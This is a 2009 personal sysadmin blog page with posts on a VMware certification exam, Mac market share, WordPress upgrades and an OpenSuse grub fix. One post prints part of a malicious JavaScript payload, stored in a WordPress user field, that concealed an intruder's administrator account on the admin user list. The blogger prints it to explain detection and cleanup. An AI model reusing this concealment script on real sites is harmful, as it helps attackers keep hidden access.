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I’m a VMWare Certified Professional
In: SysAdmin| Tips & Tricks
16 Nov 2009Yes, its true, I passed the test. It wasn’t easy. In fact, I took the test 2 times.
The first time I went into the test I felt fairly confident. I had studied the admin guide and the maximum guides. I had taken the mock exams and done well on those. (Huge thanks for Simon Long and his great site of resources!!!) I thought that I had a fair understanding on how vSphere4 worked. I had taken the class and messed around with it a bit before the test. I wasn’t an vSphere admin day in and day out by any means, but I felt competent that I could successfully perform most tasks. Surely I’d be able to pass the test enough to get by right? WRONG! You really need to know your stuff on this test.
Now, I will argue that some of the questions that were asked were a bit nit picky. I can’t go into them, but let’s just say, asking me what a certain icon on a screen means when it is noted on the screen…seriously? You have to be freaking kidding me right?
So the second time, I studied my ass off. I spent hours reading through every manual that I could get my hands on. I spent even more time in the interface. Setting up things that I had rarely done before if at all. Guided Consolidation, Backups, Update Manager. You name it, I did it.
And the results paid off. The second time around, I easily passed it!
So is the test impossible, no. Is it hard, yes. Will you have to work in order to pass it, absolutely. But its called a test for a reason. You need to know your stuff!
A few tips that I can give you for the test :
- When reading through the guides:
- Anywhere you can find a recommended or best practice, memorize it.
- If there is a section in the guide that talks about X and it is recommended that Y is set or Z will happen. Well, assume that Y is not set and how you would handle Z or simply, identify Z is happening and why it is happening. Chances are if you can do that, you have come up with several of the harder test questions.
- Work with the interface as much as possible. Install things that you haven’t installed before. Use the demo licenses as much as possible! Burn into your brain what screens look like and what options you have presented to you.
- Read the sales and marketing pieces as well. There are a couple of questions on licensing and features.
Good Luck!
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- Tags: Certifications, VMWare
For Fox Sake
In: Cool Videos
6 Nov 2009One of Jon Stewart’s finest rants. The sad thing is, I know some people that think the ONLY fair and balanced news is Fox news.
| The Daily Show With Jon Stewart | Mon – Thurs 11p / 10c | |||
| For Fox Sake! | ||||
|
||||
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- Tags: Fox News
Windows 7 Failure?
2 Nov 2009So I was checking out CNN today and I found this article titled Mac share grew after Windows 7 debut.
In the article, you’ll see some gems such as this:
If Microsoft (MSFT) was hoping that the launch of Windows 7 would halt the erosion of its operating system market share — and curb further inroads by Apple (AAPL) — there is no evidence that it’s working yet.
In fact, preliminary data released overnight Sunday by Net Applications show Mac OS X’s Internet share growing by 2.73% in October, from 5.12% to 5.26%.
Wow…really? Up 2.73%! Holy crap they’re kicking the crap out of Microsoft. Sell your M$ stock…they’re royally f*cked now!
Not quite.
Microsoft is still at 92.54% of the market share if you can trust these numbers, which are probably pretty accurate. So for those keeping track at home, that means that Microsoft is only up by say 87 points. Its still not even close people. So even though this is a CNN article that links to their fortune.com site, I wouldn’t read too much into this one. Is Apple making some gains, sure. But they’re still so far behind its not even funny.
And I’m an Apple fan!
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- Tags: Apple, Market Share, Microsoft
‘24′ Season 8 Trailer
In: In the news
29 Oct 2009I’m not sure I can do it again. Gramdpa kicking ass…seriously…that will be 5 seconds of the show and then it will go from weird to plain stupid.
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- Tags: 24
Upgrading Wordpress
In: SysAdmin
27 Oct 2009Maybe someone can help me out here. It seems to me that wordpress is lacking some support for upgrades with SSL. For example, I do not have FTP open on my web server and I have no plans to open it up in the future. I DO however support ftp over ssh also known as sftp. But when I click on the ‘automatically upgrade’ link in the plugins directory, here is the screen that I am greeted with.
First off, there are 2 things wrong with this screen.
1) As I mentioned before, it only supports ftp, not sftp.
2) Its not an option if there is only one choice! Just show the connection type as FTP.
Someone help me out here. If you have a better way of upgrading securely, I’d like to hear it.
OpenSuse, XFS, Grub and upgrade errors
In: SysAdmin
25 Oct 2009As many people may know, OpenSuse 10.3 will soon be going away. Many people have updated already to the 11.x series but there are a bunch of us that have been straggling behind.
We have a pretty good reason why we haven’t upgraded. It is also the reason why we are very leary of performing kernel upgrades. Basically, if there is a kernel upgrade, we have to have one of us on site in the data center because there is a good chance, close to 80%, that the box will NOT come back up after updating the kernel due to grub errors. Scary I know.
We’ve filed bugs, provided files, hell, we even have enterprise licenses for some of these boxes. Novell has been very little help. The OpenSuse people have been better, but even then there are 90 different bugs about this same issue that no one seems to be able to solve. The bug is that grub produces an error message during the kernel install that is ignored by Yast and an invalid boot file is produced. And then, the best part is that Yast encourages you to reboot in order for the changes to take affect. This is basically encouraging you to take the gun, point it at your foot and pull the trigger. Yeah you!
So, kernel upgrades go south for us. We know that. But why? We’ve never gotten a solution to this one. We thought it might be a driver issue or something just wrong, very very wrong with opensuse.
Well, I think that I have figured out why it does this and how to resolve it. If you install a fresh install of 11.x and try to format a /boot partition with XFS, you WILL get an error stating that it is not allowed. Ah HA! We used XFS for /boot on a LOT of our 10.x boxes. Maybe this is the key.
I performed the following upgrade tests:
Fresh 10.3 install with XFS /boot partition. Upgrade to 11.1. After reboot of updated packages: grub errors!
Fresh 10.3 install with EXT3 /boot partition. Upgrade to 11.1. After reboot of updated packages: clean boot, NO ERRORS!!!!!! WOOHOO!!!!
So, how can I get the 10.x servers upgraded without doing a fresh install?
Here is what I did.
Log into the box
become a privilidged user.
tar -cvf /boot.tar /boot
Go into Yast -> System -> Partitioner and format /boot to ext3
Exit Yast
cd /
tar -xvf boot.tar
run grub-install
Everything should install for grub with no errors. If it does, you’re golden to reboot your box and it should boot just fine. I did a test run of the reboot before rebooting again for the 11.1 upgrade.
I’ve only done this on a single IBM 3550. But I plan to roll this out to a lot more boxes later on this month as the 10.3 end of line draws near.
Hopefully this helps someone else out as I know that this has been driving me nuts for a while now. Good luck.
Social Media Revolution
In: Cool Videos
1 Oct 2009I think that they make social media out to be more than it is. Yes, its making us more connected. Information is moving at a rapid rate. I can find out that a distant friend has had a child in seconds rather than the days or weeks for things to work through the various phone trees. But let’s face it, there is a LOT of crap out there as well. Just look at twitter. How often do you see that someone is drinking coffee and reading the paper in the morning. I DON’T CARE if your coffee was cold you jackass!
So while we’re getting a lot of the good at lightening fast speeds, we’re also getting the majority of crap at the same rate.
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- Tags: Cool Videos, Social Media
Cool Video – Slip And Slide
In: Cool Videos
1 Oct 2009| Slip-n-Slide-inspired |
Sure, summer is over. But this is still damn cool!
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WordPress Security Concern
13 Sep 2009I’m not sure if you’ve applied the latest updates for wordpress but I did last week. However, it appears that someone got in to one of the blogs that I manage and created an account for themselves. They didn’t do anything with it, but they DID have full admin access. I’m assuming that this was due to a security bug in 2.8.3 as they were in when that was on the server.
So patch your servers if you haven’t already!
Here’s how I noticed that the person had gotten in. I was doing an audit on the users on the site and noticed that the count next to Administrators stated that there were 3 Admins for the site. However, when I viewed the list, there were only 2 on the page. Taking a look in the database, I noticed a user with a goofy name for an admin. And peaking in the wp_usermeta table, I noticed the following attribute was assigned to their firstname:
for (var i = 0; i < tags.length; i++) {
var t=tags[i].innerHTML;
var h=tags[i];
if(t.indexOf(s)>0){
s =(parseInt(t)-1)+s;
h.removeChild(h.firstChild);
t = document.createTextNode(s);
h.appendChild(t);
}
}
var arr=document.getElementsByTagName("ul");
for(var i in arr) if(arr[i].className=="subsubsub"){
var n=/>Administrator ((d+))
if(n[1]>0){
var txt=arr[i].innerHTML.replace(/>Administrator ((d+))Administrator ("+(n[1]-1)+")<");
arr[i].innerHTML=txt;
}
}
}catch(e){};
};
addLoadEvent(setUserName);
Its not formatted the greatest, but basically, it hides the username from the list. Nice eh! Simply deleting this entry made the user show up in the user list where I was able to do some auditing before blowing away the user.
So audit your admin list and patch your servers! This could have been a lot worse if they had starting defacing the site or hiding other gems on there.
-Matt
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- Cryptogram #1 – Solution - /usr/local.com: [...] So, its been a few days, did you figure out the solution to our first cryptogram? [...] [...]
- Another Goal - /usr/local.com: [...] already stated my main 5 goals for 2010. But this morning I realized that I have developed a v [...]
- Judas wears a purple #4 - /usr/local.com: [...] written about it before, I enjoy watching number 4 play. But for the Vikings!?!?! [...] [...]
- blog.brentb.com » iTunes 8.2 Released: [...] but I want a mouse when I have 8-9 pages of Apps on my phone that I want to sort. Matt with [...]
- IgniteIT Talk - /usr/local.com: [...] a month ago I gave a lightning talk at a local IgniteIT Event. I haven’t done a lot of p [...]
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